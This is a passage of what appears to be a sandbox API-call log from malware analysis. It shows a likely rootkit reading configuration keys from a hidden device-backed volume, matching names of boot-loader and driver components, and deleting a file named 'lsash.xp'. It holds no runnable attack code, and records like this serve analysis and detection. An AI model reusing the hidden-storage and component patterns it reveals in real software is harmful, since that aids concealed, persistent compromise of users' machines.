IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.446] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.446] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.446] IdePortDispatch () returned 0x103 [0124.447] KeWaitForMutexObject () returned 0x0 [0124.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.447] KeLeaveCriticalRegion () [0124.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.447] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.447] KeEnterCriticalRegion () [0124.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.447] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.447] KeLeaveCriticalRegion () [0124.447] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.447] KeEnterCriticalRegion () [0124.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.447] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.447] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.447] KeLeaveCriticalRegion () [0124.447] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.447] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.447] KeEnterCriticalRegion () [0124.447] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.447] ExFreePoolWithTag (P=0xfffffa8003bf17a0, Tag=0x0) [0124.447] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.447] KeLeaveCriticalRegion () [0124.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.448] ReleaseMutex (hMutex=0xf0) returned 1 [0124.448] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.448] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.448] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.448] KeEnterCriticalRegion () [0124.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.448] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.448] IdePortDispatch () returned 0x103 [0124.448] KeWaitForMutexObject () returned 0x0 [0124.448] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.448] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.448] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.448] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.448] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.448] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf13f0 [0124.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.448] KeLeaveCriticalRegion () [0124.448] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.448] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.448] KeEnterCriticalRegion () [0124.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.448] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.448] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.448] KeLeaveCriticalRegion () [0124.448] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.448] KeEnterCriticalRegion () [0124.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.448] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.449] IdePortDispatch () returned 0x103 [0124.449] KeWaitForMutexObject () returned 0x0 [0124.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.449] KeLeaveCriticalRegion () [0124.449] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.449] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.449] KeEnterCriticalRegion () [0124.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003558000 [0124.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.449] IdePortDispatch () returned 0x103 [0124.449] KeWaitForMutexObject () returned 0x0 [0124.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.449] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.449] IdePortDispatch () returned 0x103 [0124.450] KeWaitForMutexObject () returned 0x0 [0124.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.450] KeLeaveCriticalRegion () [0124.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.450] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.450] KeEnterCriticalRegion () [0124.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.450] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.450] KeLeaveCriticalRegion () [0124.450] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.450] KeEnterCriticalRegion () [0124.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.450] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.450] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf14b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.450] KeLeaveCriticalRegion () [0124.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.450] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.450] KeEnterCriticalRegion () [0124.450] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.450] ExFreePoolWithTag (P=0xfffffa8003bf13f0, Tag=0x0) [0124.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.450] KeLeaveCriticalRegion () [0124.450] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.450] ReleaseMutex (hMutex=0xf0) returned 1 [0124.450] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.450] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.451] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.451] KeEnterCriticalRegion () [0124.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.451] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.451] IdePortDispatch () returned 0x103 [0124.451] KeWaitForMutexObject () returned 0x0 [0124.451] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.451] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.451] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.451] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.451] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.451] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1cb0 [0124.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.451] KeLeaveCriticalRegion () [0124.451] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.451] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.451] KeEnterCriticalRegion () [0124.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.451] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.451] KeLeaveCriticalRegion () [0124.451] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.451] KeEnterCriticalRegion () [0124.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.451] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.451] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.451] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.451] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.451] IdePortDispatch () returned 0x103 [0124.452] KeWaitForMutexObject () returned 0x0 [0124.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.452] KeLeaveCriticalRegion () [0124.452] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.452] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.452] KeEnterCriticalRegion () [0124.452] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.452] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003559000 [0124.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.452] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.452] IdePortDispatch () returned 0x103 [0124.452] KeWaitForMutexObject () returned 0x0 [0124.452] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.452] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.452] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.452] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.452] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.452] IdePortDispatch () returned 0x103 [0124.452] KeWaitForMutexObject () returned 0x0 [0124.452] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.452] KeLeaveCriticalRegion () [0124.452] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.453] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.453] KeEnterCriticalRegion () [0124.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.453] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.453] KeLeaveCriticalRegion () [0124.453] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.453] KeEnterCriticalRegion () [0124.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.453] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.453] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf1e20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.453] KeLeaveCriticalRegion () [0124.453] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.453] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.453] KeEnterCriticalRegion () [0124.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.453] ExFreePoolWithTag (P=0xfffffa8003bf1cb0, Tag=0x0) [0124.453] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.453] KeLeaveCriticalRegion () [0124.453] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.453] ReleaseMutex (hMutex=0xf0) returned 1 [0124.453] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.453] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.453] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.453] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.453] KeEnterCriticalRegion () [0124.453] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.454] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.454] IdePortDispatch () returned 0x103 [0124.454] KeWaitForMutexObject () returned 0x0 [0124.454] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.454] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.454] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.454] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.454] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.454] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.454] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.454] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.454] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.454] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.454] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.454] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.454] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.454] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.454] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.454] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.454] KeLeaveCriticalRegion () [0124.454] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.454] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.454] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.454] KeEnterCriticalRegion () [0124.454] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.454] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.454] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.454] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.454] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.454] IdePortDispatch () returned 0x103 [0124.455] KeWaitForMutexObject () returned 0x0 [0124.455] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.455] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.455] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.455] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.455] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.455] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.455] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.455] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.455] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.455] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.455] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.455] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.455] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.455] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.455] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.455] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.455] KeLeaveCriticalRegion () [0124.455] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.455] ReleaseMutex (hMutex=0x100) returned 1 [0124.455] Sleep (dwMilliseconds=0x2bf20) [0124.462] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6d60b190, dwHighDateTime=0x1d24fa4)) [0124.462] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0124.462] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.462] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.462] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.462] KeEnterCriticalRegion () [0124.462] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.462] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.462] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.462] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.462] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.462] IdePortDispatch () returned 0x103 [0124.462] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.462] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.462] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.462] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.462] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.462] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beef10 [0124.462] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.462] KeLeaveCriticalRegion () [0124.462] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.462] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: 